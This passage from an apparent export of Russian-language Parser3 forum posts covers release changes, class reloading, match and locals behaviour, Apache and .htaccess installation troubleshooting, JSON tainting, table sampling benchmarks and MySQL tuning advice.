* Обновлена библиотека libxslt. Была версия 1.1.26, стала 1.1.28. Список изменений: http://xmlsoft.org/XSLT/news.html\
\
* В версии для Windows библиотеки gc, libxml, libxslt линкуются статически, для запуска парсера достаточно parser3.exe.\
\
* Прочие баг-фиксы, небольшие оптимизации и изменения. \
\
\
Полный лог изменений доступен в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?view=markup\"]CVS[/url].\
Подробности и изменения в документации будут с релизом."
"78918","повторная загрузка класса как отключается? Часто используем эту фичу, когда проект по умолчанию грузит свой набор классов, а в некоторых подсистемах используются свои модифицированные копии. Также это удобно для отладки - скопировать в подпапку и там работать с ним, потом залить обратно"
"78919","$.replace(true|false) option added to ^process and ^use.\
Вообще в вашем случае уместнее было бы использовать partial."
"78920","Много кода написанного до 3.3.0, когда partial не было, и трогать его конечно не хотелось бы... Кстати повторный use partial-класса тоже будет выдавать exception? по идее сама опция подразумевает, что будет подгрузка модифицированного класса с тем же именем.\
\
Может опцию в конфиг определяющую поведение этой новой фичи по умолчанию?"
"78921","[quote]Много кода написанного до 3.3.0, когда partial не было, и трогать его конечно не хотелось бы..[/quote]\
\
Добавление опции это все-таки не изменение кода, которое надо серьезно тестировать.\
\
[quote]Кстати повторный use partial-класса тоже будет выдавать exception?[/quote]\
\
Конечно нет, поскольку partial это штатная возможность обновления класса.\
\
[quote]Может опцию в конфиг определяющую поведение этой новой фичи по умолчанию?[/quote]\
\
Посмотрим какие еще будут предложения. У нас самих нет проектов, где бы это было нужно."
"78922","[quote]Часто используем эту фичу, когда проект по умолчанию грузит свой набор классов, а в некоторых подсистемах используются свои модифицированные копии. [/quote]\
На мой взгляд тут уместнее даже не partial-класс, а наследование. Но если архитектуру переделывать не хочешь, то МоКо описал варианты.\
\
[quote]Также это удобно для отладки - скопировать в подпапку и там работать с ним, потом залить обратно[/quote]\
Вот для этого точно есть «правильный» и удобный инструмент — система контроля версий. Сделал веточку, поработал с классами, а потом мердж и пуш в основную ветку."
"78923","[quote]Да и модификаторы вроде не нужны[/quote]\
\
Модификатор n очень рекомендуется, если матч используется в ифах или требуется получить признак true/false. Без этого модификатора Парсер делает таблицу, которая, в данном случае, лишь «отжирает» память и процессор. :)"
"78924","[quote]Но если архитектуру переделывать не хочешь[/quote]\
Не то чтобы не хочу - это просто очень трудозатрано, а в условиях, когда довольно большие части кода в виде подсистем написаны не тобой - вообще практически невозможно. Ну по крайней мере в нашем случае. В итоге из-за периодических uncimpatible-версий парсера - приходится иметь зоопарк его версий, с разными .htaccess. В этот раз правда и так не получится, т.к. изменение затрагивает не столько сам код, сколько одно из базовых свойств функционирования парсера. В принципе найти все классы и вписать в них partial - это решение, хотя, имхо, некрасивое.\
\
[quote]«правильный» и удобный инструмент — система контроля версий[/quote]\
Инструмент правильный, но если делать ветку [i]в том же проекте на той же машине[/i] - то грабли случатся те же самые. Более того, при мердже в основную ветку уйдет лишний код в виде $.replace(true|false), который там не нужен при штатной работе.\
\
Тестировать на продакшн сервере, а не девелоперской машине приходится. Т.к. например в СМЭВ IP-адреса и порты сервисов жестко привязываются у них там, и с другой машины не потестируешь взаимодействие"
"78925","[quote] сколько одно из базовых свойств функционирования парсера[/quote]\
\
Да ладно, о чем вы. Какое базовое свойство? Поведение при повторном декларировании классов даже документировано не было.\
И не уверен, что вообще существуют языки, в которых при повторном декларировании класс замещается новым, а не выдается ошибка.\
\
Далее, не очень понимаю, как вы вообще пользуетесь этим поведением для тестирования.\
\
Допустим есть директория production с файлами (и классами a,b,c). Вы решили протесировать новую версию класса b. Завели директрию testing, добавили ее в CLASS_PATH или явно воспользовались ^use[testing/b]. Загрузился класс b. А потом вы в какой-то момент сказали ^use[a], в котором в начале написано @USE b. Поскольку при use файл ищется вначале в текущей директории, а класс/файл a находится в production, ваша testing версия будет заменена на production. Да, наверное можно играя порядком @USE добиваться нужного результата, но это какая-то очень шаткая конструкция. Не говоря о том, что @auto класса b выполняется два раза, что само по себе может привести к трудноуловимым проблемам (у нас был такой случай).\
\
Как бы наверное делал сам: в cgi/auto.p в CLASS_PATH добавлял папку production или testing в зависимости от условия (например если запрос\
с IP адреса разработчика) и горя бы не знал. Успешно закончилось тестирование - mv production production.<date>; mv testing production."
"78926","[quote]Инструмент правильный, но если делать ветку в том же проекте на той же машине - то грабли случатся те же самые. Более того, при мердже в основную ветку уйдет лишний код в виде $.replace(true|false), который там не нужен при штатной работе.[/quote]\
\
Вариантов в этом случае масса. Самый простой: поднять весь проект в отдельной папке и повеить его на другой домен (beta.project.ru :) и дать к нему доступ только разработчикам. В этой папке можно спокойно делать новые ветки, отлаживать и править текущий код без ущерба для продакшн-версии, мерджить и т.д. и т.п. Понятно, что в таком случае никакой замены классов вообще не нужно, поскольку мы работаем с отдельным деревом исходников проекта и можем править код как нам нужно. В этом случае выкатка кода еще и сводится к простейшему процессу: push, cd ../production_folder, pull.\
\
Я именно так и разрабатываю все свои проекты, т.е. пишу код прямо на серверах. Есть у меня еще и копии проектов в виртуалках, но это нужно только для тех случаев, когда у меня нет доступа к нормальному интернету в поездках. :) \
\
Второй вариант — поднять VPN (или ssh-туннель) между девелоперским сервером и продакшном, чтобы рабочие проекты могли обращаться к межведомственному обмену как как-будто они находятся прямо на продакшн-сервере.\
\
На мой взгляд, у тебя проблема не с «новой фичей парсера», а с неудачной схемой разработки, а это не сложно исправить."
"78927","всем привет,\
как правильно перемесить парсер на хостинг?\
на денвере всё работает\
на хостинге не работает\
\
.htaccess-------------------\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
#PARSER3 settings\
#SetEnv HTTP_PARSER_ROOT_CONFIG /home/username/cgi-bin/parser3.conf\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
на сайте выдаёт\
Internal Server Error\
\
More information about this error may be available in the server error log.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request."
"78929","public_html/.htaccess: Invalid command 'CharsetDisable', perhaps misspelled or defined by a module not included in the server configuration\
\
переводил\
\
не пойму как исправить эту ошибку, подскажите?"
"78930","например [url=/download/linux/]тут[/url] или [url=/download/win32/]тут[/url] слева..."
"78931","читал, я же говорю на денвере всё работало!"
"78932","Давайте почитаем вместе. Цитата:\
\
[quote]Также добавьте еще одну команду:\
\
CharsetDisable On\
\
Если добавление этой команды привело к ошибке, значит ваш веб-сервер не нуждается в этой дополнительной настройке. [/quote]"
"78934","сайт -\
       cgi-bin\
       сам сайт парсера\
-------------------------------------------\
\
вот как пробал!\
\
[b]на сайте выдаёт[/b]\
с CharsetDisable On\
\
Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.\
\
без CharsetDisable On\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
\
\
[b]Лог Ошибок на хостинге[/b]\
с CharsetDisable On\
 Invalid command 'CharsetDisable', perhaps misspelled or defined by a module not included in the server configuration\
\
\
без CharsetDisable On\
Premature end of script headers: parser3.exe"
"78935","Похоже изменились оптимизации пробельных символов, при указанной локальной [result].\
\
При locals на уровне класса, является ли match локальной внутри метода?\
[code]@CLASS\
Test\
\
@OPTIONS\
locals\
\
@method[str]\
$tmp[^str.match[…]][/code]\
\
С трудноуловимой ошибкой обращения к свойствам при подобном match поломался код.\
Помогло принудительное добавление match в локальные переменные метода."
"78936","оптимизация пробельных символов вроде не менялась.\
\
match подчиняется общим правилам. т.е. если делается замена, то переменную match стоит объявлять локальном. хотя с locals на уровне класса тоже всё должно быть OK."
"78937","http://www.parser.ru/faq/install/"
"78941","На сервере стоит Linux 64 + Apache2.2 + php 5.2.x\
\
хостинг сказал\
Вы залили dll и exe файлы - их невозможно запустить на виртуальном хостинге Linux:\
\
auto.p gc.dll libeay32.dll libxslt.dll other parser3_uninst.exe readme.ru.txt\
charsets lib libexslt.dll msvcp71.dll parser3.exe README ssleay32.dll\
docs libcurl.dll libxml2.dll msvcr71.dll parser3.log readme.en.txt"
"78942","[i]Всем привет, специалисты\
второй день не могу установить парсер,\
пожалуйста, помогите установить парсер?![/i]\
\
windows 7 64 битная\
установил\
 apache_2.2.14-win32-x86-openssl-0.9.8k\
 php-5.2.9-2-win32\
 mysql-essential-5.1.39-win32\
\
парсер\
parser3_4_2_ru.exe\
\
на сайте выдаёт ошибку\
\
Not Found\
\
The requested URL /cgi-bin/parser3.exe/index.html was not found on this server.\
\
[i].htaccess[/i]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>\
\
\
если напишу CharsetDisable On\
выдаёт\
Internal Server Error"
"78944","проверь httpd.conf на предмет того, куда указывает ScriptPath и есть ли для этого пути ExecCGI"
"78946","их три ScriptAlias\
1)    # To use CGI scripts outside of ScriptAliased directories:\
\
2)# \"C:/Program Files (x86)/Apache Software Foundation/Apache2.2/cgi-bin\" should be changed to whatever your ScriptAliased\
\
3)    ScriptAlias /cgi-bin/ \"C:/Program Files (x86)/Apache Software Foundation/Apache2.2/cgi-bin/\""
"78947","И в директории (3) лежит parser3.exe?"
"78948","не понял что за директория в скобке\
cgi-bin лежит parser3.exe"
"78949","https://dl.dropboxusercontent.com/u/6795309/temp/bug.p\
\
Конструкция с добавлением элементов при обращении к GET_DEFAULT странная, согласен, но важно, что стало падать на 3.4.3b, не из-за «@SET_DEFAULT и @GET_DEFAULT работают не только для объектов, но и для классов» ли."
"78950","папка Apache2.2 - cgi-bin(перенёс сюда парсер, всё заработало)\
\
папка Apache2.2 - htdocs - cgi-bin(сдесь выдаёт ошибку)\
\
The requested URL /cgi-bin/parser3.exe/index.html was not found on this server.\
\
путь к парсеру \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
пробал менять путь на htdocs в htaccess\
выдаёт /htdocs/cgi-bin/parser3.exe/index.html was not found on this server.\
\
как сделать что бы парсер работал в папке Apache2.2 - htdocs - cgi-bin"
"78951","[quote]\
как сделать что бы парсер работал в папке Apache2.2 - htdocs - cgi-bin\
[/quote]\
\
вы можете указать cgi-bin где вам больше нравится.\
поправьте пути в .conf"
"78952","... и загрузите правильную версию Парсера из раздела «скачать». Там есть версии для Линукса."
"78953","Хотя это возможно, но не стоит класть папку cgi-bin внутрь htdocs, т.е. в веб-пространство, это нездоровая практика."
"78954","Стало падать из-за другого исправления, про которое мы забыли упомянуть (исправим это):\
\
\"Исправлена ошибка, из-за которой не вызывались геттеры и сеттеры значений у автоматически создаваемых переменных в ^foreach[], ^match[]\".\
\
Логика внутри метода match такая - сохраняем текущее значение переменной match, изменяем значение переменной match и выполняем код, восстанавливаем значение переменной match.\
\
При этом match - по-сути обычная переменная, но раньше, если она оказывалась геттером или сеттером - код геттера или сеттера просто не выполнялся. Теперь это исправлено. Но: дальше вылезает проблема с тем, что при @OPTIONS locals на самом деле работает не совсем так, как описано. :) При присвоении - да, всегда присваивается локальная переменная. Но при обращении, если нет локальной переменной - происходит поиск значения и в полях объекта, который и приводит в вашем случае к вызову GET_DEFAULT. У нас давно есть про это тикет, но поскольку это несовместимое изменение и 100% полезут баги мы \"боимся\" текущее поведение менять.\
\
Так что для повышения совместимости из описанного исправления уберем работу геттеров при сохранении значения $match. То есть ваш код будет работать как и раньше. При этом сеттеры все-таки будут работать, что более важно.\
\
Так что ваш код затронул сразу несколько тонких моментов в парсере. :)"
"78955","Ясно, спасибо за разбор.\
Как выйдет новая бета — проверю код без изменений."
"78956","В среднем съедает на 7% больше памяти и выполняется на 9% дольше, чем 3.4.1. Windows XP.\
\
При этом очень много полезных фич, спасибо."
"78957","[code]$первый[^класс::create[]]\
^первый.метод[]\
\
@CLASS\
класс\
\
@метод[]\
Вот тут хочется узнать, что экземпляр - \"первый\".[/code]\
\
Также интересно, не плохая ли это практика и что матерые программисты делают в подобных случаях:)"
"78958","А перед этим вспомните, что в переменной хранится не сам экземпляр класса, а ссылка на него. И что парсер должен вернуть если ссылка лежит одновременно в нескольких переменных."
"78961","Есть observer для отчетов - хэш из экземпляров отчетов. Каждый из отчетов оформляется в зависимости от типа, который указан в названии. При этом в одной ситуации все отчеты уникальны, в другой - их может быть несколько одного типа, т.е. название может использоваться и как просто пометка, и как ключ. Сейчас я ег опросто передаю параметром в конструктор. Это небольшая проблема, но когда ситупция меняется (требуется уникальность), не так просто сменить все контексты."
"78963","Я так понимаю, что в отчет надо передать ссылку на обсервер у которого есть функция рассылающая сообщения другим объектам. Сделать это можно в конструкторе или отдельным методом. В  классе отчета должна быть функция принимающая это сообщение. Зачем нам знать как обсервер хранит ссылки на объекты не понятно. Просто шлите сообщения и все. \
\
Тип отчета передаете как параметр конструктора и он совершенно не должен быть связан с именем переменной.\
\
Обсервер предназначен для снижения общей связности системы, а вы показываете реализацию, которая наоборот эту связность повышает. Если вы опишите архитектуру подробнее, то можно будет что-то порекомендовать. Пока не понятно зачем вообще понадобился «наблюдатель». :)"
"78964","Но надо понять как вы этот rusage используете и что замеряете. Не исключено, что у вас постоянно есть разброс в несколько процентов, который возникает из-за непостоянных внешних условий (нагрузка на диск, фоновые процессы ОС и т.п.).\
\
И данные хотелось бы увидеть в абсолютных цифрах — что такое 5 и 7%% не понятно."
"78965","Да, есть разброс, поэтому я и указал в среднем.\
\
К сожалению, все тесты я удалил, вот данные с последнего:\
parser 3.4.1 \
время работы макс 0.17135 время работы мин 0.15556\
parser 3.4.3 \
время работы макс 0.1902 время работы мин 0.17512\
\
По расходу памяти разброса не было."
"78967","Он просто должен так себя вести:) Да, я понимаю что можно пересылать сообщения через сторонний объект, пусть так и будет, спасибо. \
Узнать имя объекта изнутри него, получается, нельзя."
"78969","Ссылка на объект может лежать в разных объектах, сами объекты вложены друг в друга и т.д. и т.п. Даже если не касаться самого алгоритма добывания всех имен, то что вы будете делать если получите хотя бы два имени для одного и того же объекта?\
\
В парсере есть метод reflection:uid. Результат его работы можно использовать для ключей хеша в коллекции отчетов. Из самого объекта всегда можно получить этот uid через вызов ^reflection:uid[$self]. :)))"
"78970","Я попробую воспользоваться аналогией из реального мира. У вас в окопе лежит десять ружей. В какой-то момент вы берете ружьё №3 и начинаете из него стрелять. Теперь оно для вас просто ружье. Если вас просят дать кому-то ружье, вы не отдадите свое, вы дадите любое из 9 лежащих. Если ружье заклинило, то наоборот это было именно ваше, №3. Такая прозрачная смена контекстов очень упрощает жизнь, собственно, по-другому мы не умеем. С обратной стороны, в программировании это реализовать намного сложнее. Более того, что в традиционных, что в агиле-командах, за это сильно ругают товарищи:) А зря."
"78971","Статическая линковка все-таки скорее ускоряет, чем замедляет. :)\
Тут на код надо смотреть. Например если там много XML/XSL, то не исключено, что эффект от обновления этих библиотек. Опять же некоторые багфиксы приводят к дополнительным проверкам, от чего код тоже замедляется. Хотя в проходных местах вроде как доп проверок не было. Но в целом да, надо будет собрать 3.4.3 со старыми библиотеками и сравнить с более ранними версиями на каком-нибудь проекте. Заведу такой тикет. :)"
"78973","[code]$t[^table::create{1	2\
x	y}]\
\
$json[^json:string[$t]]\
^json.save[json.txt]\
\
\
$s[^file::load[text;json.txt]]\
$s[^json:parse[$s.text]]\
$s\
[/code]\
для ищущих по данным keywords - лечится заворачиванием в ^taint[as-is][$s.text]\
\
почему в этом случае не работает ^taint[json]? И нельзя ли автоматически приводить строку передаваемую parse к этому виду?"
"78974",">почему в этом случае не работает ^taint[json]?\
\
^taint[json] нужен например для таких случаев:\
\
[code]$s[te\"st]\
$json_string[{\
   \"a1\":{\"b\": 1, \"c\": \"^taint[json][$s]\", \"d\": \"^taint[json][$form:some-used-specified-value]\"},\
}]\
[/code]\
\
далее выдаем $json_string в браузер или передаем методу ^json:parse[] и они получат валидный json, с экранированной \" в test.\
\
>И нельзя ли автоматически приводить строку передаваемую parse к этому виду?\
\
Загруженные из внешнего файла данные считаются \"грязными\", парсер \"не верит\", что там может быть валидный json. \
\
^taint[as-is][$s.text] - так вы говорите парсеру, что в $s.text содержатся данные, которым можно доверять."
"78976","Здравствуйте!\
\
Есть ли к кого-нибудь готовый модуль форума написанный на Парсере? Хотя бы с основным функционалом. Лучше не древовидный, но если иного нет, то и такой потянет. \
\
Нужен для одного социального проекта и на разработку совсем нет времени.\
\
Заранее спасибо!"
"78977","... http://disqus.com/websites/"
"78978","Нужен именно форум."
"78979","всем, доброй ночи)\
всё перепробал\
вот ошибка на сайте\
Forbidden\
\
You don't have permission to access /C:/apache/login/www/login/_root.htm on this server.\
\
лог\
[Wed Oct 22 20:34:03 2013] [error] [client 127.0.0.1] (20023)The given path was above the root path: Cannot map GET / HTTP/1.1 to file\
\
как исправить?"
"78980","[quote]\
всё перепробал\
[/quote]\
\
расскажите подробнее, что конкретно вы пробовали сделать?"
"78981","[i]расскажите подробнее, что конкретно вы пробовали сделать?[/i]\
\
.htaccess путь менял к парсеру\
с CharsetDisable On и без"
"78982","До парсера дело не доходит - ищите ошибку в конфигах апача\
1. /C:/apache/login/www/login/_root.htm - странный путь, что у вас в DocumentRoot сервера и виртуального хоста (если он есть). Особенно интересно откуда начальный слеш\
2. Сам путь существует? слово login два раза в нем не случайность?\
3. Поищите нет ли где то директивы Deny from all\
\
Ну и [url=\"https://www.google.ru/search?q=Forbidden++You+don%27t+have+permission+to+access&ie=utf-8&oe=utf-8&rls=org.mozilla:ru:official&client=firefox-a&gws_rd=cr&ei=XxtnUsb_GsKL4ATLnYCIBg\"]вообще[/url]"
"78983","Во-первых, для большей совместимости между денвером/эндельсом и вашим юникс-хостингом, там нужно, чтобы у Парсера было убрано расширение файла. parser3.cgi, parser3.exe надо переименовать в parser3 и .htaccess на всех серверах станет одинаковым. \
\
Во-вторых к нему есть установочная картинка. Если у вас будет всё в точности, как там нарисовано, то скорее всего, заработает.\
\
В-третьих, Апач не дружит с Парсером, начиная с Win7. Ну как не дружит, с нуля не запускается, надо как-то колдовать с установкой. У вас c:/apache, значит винда."
"78985","1 [i]DocumentRoot \"C:/apache\"[/i]\
\
2 Сам путь существует! Не случайность!\
\
3 httpd [i]<FilesMatch \"^\\.ht\">\
    Order allow,deny\
    Deny from all\
    Satisfy All\
</FilesMatch>[/i]"
"78986","[i]Апач не дружит с Парсером[/i]\
\
Простой код парсер работает!\
\
Место win7, чем лучше пользоваться или что именно колдавать?))"
"78987","Уберите из .htaccess упоминание парсера как обработчика - файл открывается?"
"78988","У меня почему то дружит парсер с win7, без колдовства. Откуда инфа?"
"78989",".htaccess\
Action parsed-html /cgi-bin/parser3\
уберал, изменений нет! та же ошибка"
"78990","Из личного опыта. Сам несколько раз натыкался, пара знакомых тоже страдали. Подробностей не помню, ибо Endels всё решает."
"78991","Я бы посоветовал Endels. \
Еще можете раскрыть все каталоги, начиная с корня веб-сервера до cgi-bin и login и показать здесь принтскрин. \
И содержимое .htaccess корня сайта."
"78992","http://ваш-сайт/login/_root.htm запускается?"
"78993","для заявлений о подобных проблемах всё таки нужна конкретика."
"78994","У меня в пути http://lab.mizter.ru/portrait/881A2A11FBEB7194.jpg, 881A2A11FBEB7194.jpg это имя файла и оно может быть и jpg и png и gif. Возможно Я плохо организовал хранение и переименование файлов, но то, что есть, как говориться модифицируешь не за щелчок мыши, а со временем."
"78995","[code]^([^/]+)(/([0-9A-F]\\.(jpg|png|gif)))?$ /index.html?category=$1&name=$3 [L,QSA][/code]"
"78996","Чтобы не обижать настоящих программистов, назовем так работающих лишь с парсером :-).\
\
Задача: периодически получать контент сайта и дизайн страницы - и лепить из них целостный динамический сайт за деньги.\
\
Только корпоративные сайты без особых программных заморочек, но понадобится всё же уметь решать нестандартные задачи. Ну, типа как у меня на http://this-one.ru счётчик в правом верхнем углу: задачу такого уровня сложности (\"трансформировать многоразрядное число от счетчика в корректное порядковое числительное\") надо уметь решить самостоятельно, пусть и за часик-другой.\
\
Написать-позвонить можно по контактам на сайте.\
\
Ура."
"78999","[code]$filter[^hash::create[]]\
$tTable[^table::create[$filter]][/code]\
[quote]Ошибка 'create' body must be code (parameter #1) [parser.runtime] [uri=/test.html, method=GET, cl=0]\
[/quote]\
Можно было бы и по информативней ошибку сделать, что-то вроде первый параметр должен быть таблицей,а не \"должен быть кодом\" )"
"79000","Там вообще то первый параметр может быть разным\
[code]^table::create{tab-строка}\
^table::create[nameless]{tab-строка}\
^table::create[таблица][/code]\
По умолчанию ожидается видимо строка с табличными данными, отсюда и формулировка ошибки\
\
имхо надо сделать вместо последнего конструктора ^table::copy[$table], а ^table::create[$table] оставить для обратной совместимости но убрать из доки и сделать deprecated"
"79001","Проверил более точно. Потерь времени не наблюдаю, как раньше, зато оптимизация запросов к БД действительно вполовину быстрее. Увеличение maxrss связано со сменой методики измерения, да?\
\
http://www.diagnos.ru/my/files/parser_3_4_3_test.7z - тут результаты моих тестов."
"79003","Повергло меня в дисонанс, я вижу что там стоят квадратные скобки, а он требует от меня фигурные. Смотрю доку, смотрю код и минут через 15 доходит, что я забыл, что у меня таблица внутри хеша +). Просто пока писал код, голова была занята как сделать рендомную сортировку в этой таблице ) и потом скопировать из неё первые пару записей."
"79004","[b]установил Endels\
теперь другая ошибка,\
Which tables you want to restore, после добавление таблиц, выдаёт:[/b]\
You don't have permission to access /login/install/backup.htm on this server. \
\
 Возможные причины ошибки: \
   1. Вы пытаетесь запустить CGI-скрипт, расположив его вне CGI-директории (например, в директории документов сервера www). Корректные пути к CGI-директориям следующие:URL	Куда указывает\
http://***/cgi-glob/script.cgi	/home/cgi-glob/script.cgi\
http://***/cgi/script.cgi	/home/***/cgi/script.cgi\
http://***/cgi-bin/script.cgi	/home/***/cgi-bin/script.cgi\
\
\
 При большом желании вы все же можете запускать скрипты и из www-директории. Для этого создайте в ней файл .htaccess (с точкой в начале) следующего содержания: \
\
Options +ExecCGI \
\
   2. Возможно, вы пытаетесь открыть картинку или статический HTML-файл, расположенный в CGI-директории. Этого делать нельзя. Все рисунки (а также другие файлы, за исключениям скриптов) необходимо помещать в www-директорию. См. примеры по адресу /home/localhost/www. \
   3. Если вы ожидаете получить листинг каталога, но выводится эта ошибка, вероятно, для данной директории выдача листинга запрещена (например, это CGI-папка). Чтобы разрешить листинг, создайте в нужной директории файл .htaccess следующего содержания: \
\
Options +Indexes\
\
[b]пробавл добавлять Options +ExecCGI и Options +Indexes в .htaccess не чего не изменяется![/b]\
[b]как исправвить данную ошибку?[/b]"
"79006","Что касается основного вопроса, то Миша завел тикет в трекере Парсера о корректировке сообщения об ошибке. :)"
"79007","вообще такой алгоритм найдёт только одну случайную позицию в диапазоне таблицы.\
а дальше можно небольшим циклом получить нужное кол-во уникальных случайных строк:\
\
[code]\
^if($requested_count >= $table){\
	$result[^table::create[$table]]\
	^result.sort(^math:random(1))\
}{\
	$h[^hash::create[]]\
	^while($h < $requested_count){\
		$h.[^math:random($table)](true)\
	}\
	$result[^table::create[$table][$.limit(0)]]\
	^h.foreach[offset;]{^result.join[$table][$.offset($offset)$.limit(1)]}\
}\
[/code]\
\
это будет эффективнее, чем \"случайно\" сортировать таблицу."
"79008","ДД!\
\
а какое noSQL решение используется в студии для высоконагруженных данными проектов?"
"79009","[code]\
  $result[^table.select(^h.contains[^table.offset[]])]\
[/code]"
"79011","// таблица сообщений\
tableMessages: ID int autoinc KEY, FromUserID int, ToGroupID int, Date datetime, Msg TEXT\
\
// таблица справочник \"папок\" и \"меток\" (для каждого пользователя -- своя)\
dirFolders: ID int autoinc KEY, UserID int, ParentID int, Name varchar\
dirLabels:  ID int autoinc KEY, UserID int, Name varchart\
\
// таблица привязок сообщение-метка и сообщение-папка\
msgFolders: ID int autoinc KEY, UserID int, MsgID int, FolderID int, Changed timestamp\
msgLabels:  ID int autoinc KEY, UserID int, MsgID, LabelID int, Changed timestamp\
\
\
==\
tableGroups = примерно 1,5 тыс строк\
tableUsers = примерно 40-50 тыс записей\
tableMessages = окло 2-3х млн строк на сейчас\
\
dirFolders: чуть больше 300тыс\
dirLabels:  около 100тыс\
\
на сейчас бывает (в пик) около 2 тыс/сек инсертов в tableMessages\
\
при отджаче пользователям списков по выборке (запрос не целиком)\
SELECT FROM tableMessages INNER JOIN msgFolders WHERE UserID = ?\
ощущаются притормозы уже на 2х - 3х тыс активных пользователях (т.е. запросов до 100 в сек)\
\
по планам исполнения - все хорошо, посему очень хочется втулить какойнить memcached"
"79012","Если MySQL, то возникает несколько вопросов о настройке:\
— Какая версия сервера используется?\
— Таблицы innodb?\
— Кеш запросов отключили?\
— Под буферпулы отдали максимум возможной памяти?\
\
По описанию базы сразу напрашивается предложение сделать партишионинг таблицы с сообщениями по UserID (средствами СУБД). Возможно, что dirfolders и dirlabels тоже можно разделить."
"79013","mysql + galera\
— Какая версия сервера используется?\
 5.5.29\
\
— Таблицы innodb?\
 да\
\
— Кеш запросов отключили?\
 сразу после инсталляции\
\
— Под буферпулы отдали максимум возможной памяти?\
innodb_buffer_pool_size = 400M\
innodb_additional_mem_pool_size = 20485760\
\
В системе:\
 Mem:   8059644k total,  5396784k used,  2662860k free,   155300k buffers\
===\
партишионинг таблицы с сообщениями по UserID - както не совсем реально. Потому как сообщения всегда направлены группе, если юзер сообщение не видел, то ни в msgFolders ни в msgLabels записей с UserID нет."
"79014","Это для того чтобы улучшить производительность работы с табличкой сообщений.\
\
И увеличить буферпул до пары гигабайт, чтобы данные по максимуму в память поместились. Обычная рекомендация для буферпула — 70-80% свободной памяти.\
\
Не совсем понял зачем используется Галера. Сервер один или все-так данные как-то размазаны по кластеру?"
"79015","Возможно лучше избавится от джоинов или денормализовать метки и папки. Если это не поможет, то уже можно смотреть в сторону всяких внешних кешей. ;)"
"79016","данные по кластеру\
\
на текущий момент есть четыре ноды, каждая нода содердит по два нжинкса (каждый со своей группой IP доступа) и по одному апачу с мусклем.\
\
(на самом деле городим переезд с компилированной программы под Вин32 в Веб)"
"79017","\"избавится от джоинов\"\
с удовольствием. только знать бы как :)\
\
\
\" или денормализовать метки и папки\"\
у мну на это мозга не хватило :( можете пнуть в нужном направлении?"
"79018","ну это-же пробежаться по всем строкам таблицы => гораздо больше сравнений."
"79019","Что касается остального, то не понимая логики работы приложения и не увидев данные давать какие-то конкретные рекомендации невозможно.\
\
Я бы оптимизировал следующим образом:\
— Находим те запросы, которые «тормозят». Обычно их немного. Если «тормозит все», то либо плохо настроена СУБД и ОС или схема базы данных сделана неверно.\
— Если в плохих запросах используется табличка с большим объемом данных или в нее идет много инсертов, то имеет смысл разбить ее на кусочки (партишионинг, шардинг).\
— Смотрим, не тормозят ли джоины. Иногда это бывает, особенно если есть outer-джоины (left, right) да еще по нескольким таблицам. В этом случае разбиваем запрос: достаем записи из связаных таблицам по ключам и объединяем в программе (для этого лучше доставать таблички в парсеровские хеши).\
— Статистические запросы (с группировками и фильтрами) как правило можно рассчитывать асинхронно и класть в отдельную табличку. Если есть репликация, то делать это можно на наименее загруженной реплике.\
— Часто можно убрать джоины, если он делается через вторую табличку только для того, чтобы получить айдишник из третьей. В данном случае айдишник из третьей можно добавить в первую и вообще избавится от джоинов.\
— Если у нас есть дерево, то можно в каждом узле добавить поле с путем от корня (айдишники через запятую).\
\
Еще раз повторю, все это сильно зависит от приложения, поэтому каких-то универсальных приемов оптимизации не бывает."
"79020","[quote]2 тыс/сек инсертов в tableMessages[/quote]\
\
[quote]SELECT FROM tableMessages INNER JOIN msgFolders WHERE UserID = ?\
ощущаются притормозы уже на 2х - 3х тыс активных пользователях[/quote]\
\
конкурирующие insert/update и select -- это почти всегда кто-то кого-то ждёт. в данном случае ждут insert-ов с последующими обновлениями индексов.\
и хоть там какой план.\
тут надо смотреть что можно с этими вставками сделать."
"79021","... что сравнение в селекте будет медленнее твоего кода. В принципе можно еще оптимизацию добавить, чтобы останавливать выборку, если все наши, а табличка не закончилась.\
\
[code]\
  $result[^table.select(^h.contains[^table.offset[]])[$.limit($request_count)]]\
[/code]"
"79022","а ты не сомневайся, а сам попробуй:\
[code]\
@USE\
Erusage.p\
\
\
@main[]\
$t[^table::create{n	name}]\
^for[i](1;10000){^t.append{$i	name$i}}\
$h[\
	$.100(true)\
	$.500(true)\
	$.900(true)\
]\
\
^Erusage:measure{\
#^do{$r[^get1[]]}\
^do{$r[^get2[]]}\
#^do{$r[^get3[]]}\
}[v]\
\
MS: $v.time<br />\
KB: $v.memory_kb<br />\
BL: $v.memory_block<br />\
\
<table border=\"1\">\
$c[^r.columns[]]\
<tr>\
	^c.menu{<th>$c.column</th>}\
</tr>\
^r.menu{\
	<tr>\
	^c.menu{<td>$r.[$c.column]</td>}\
	</tr>\
}\
</table>\
\
\
@do[jCode][i][result]\
^for[i](1;1000){$jCode}\
\
\
@get1[]\
$result[^table::create[$t][$.limit(0)]]\
^h.foreach[offset;]{^result.join[$t][$.offset($offset)$.limit(1)]}\
\
\
@get2[]\
$result[^t.select(^h.contains[^t.offset[]])]\
\
\
@get3[]\
$result[^t.select(^h.contains[^t.offset[]])[$.limit($h)]]\
[/code]\
\
\
get1:\
MS: 7.001\
KB: 884\
BL: 872\
\
get2:\
MS: 6143.35\
KB: 547028\
BL: 562588\
\
get3:\
MS: 537.031\
KB: 49524\
BL: 50896"
"79024","установил Endels теперь другая ошибка\
\
установил Endelsтеперь другая ошибка,Which tables you want to restore, после добавление таблиц, выдаёт:\
You don't have permission to access /login/install/backup.htm on this server. \
\
 Возможные причины ошибки: \
 1. Вы пытаетесь запустить CGI-скрипт, расположив его вне CGI-директории (например, в директории документов сервера www). Корректные пути к CGI-директориям следующие:URL Куда указывает\
http://***/cgi-glob/script.cgi /home/cgi-glob/script.cgi\
http://***/cgi/script.cgi /home/***/cgi/script.cgi\
http://***/cgi-bin/script.cgi /home/***/cgi-bin/script.cgi\
\
\
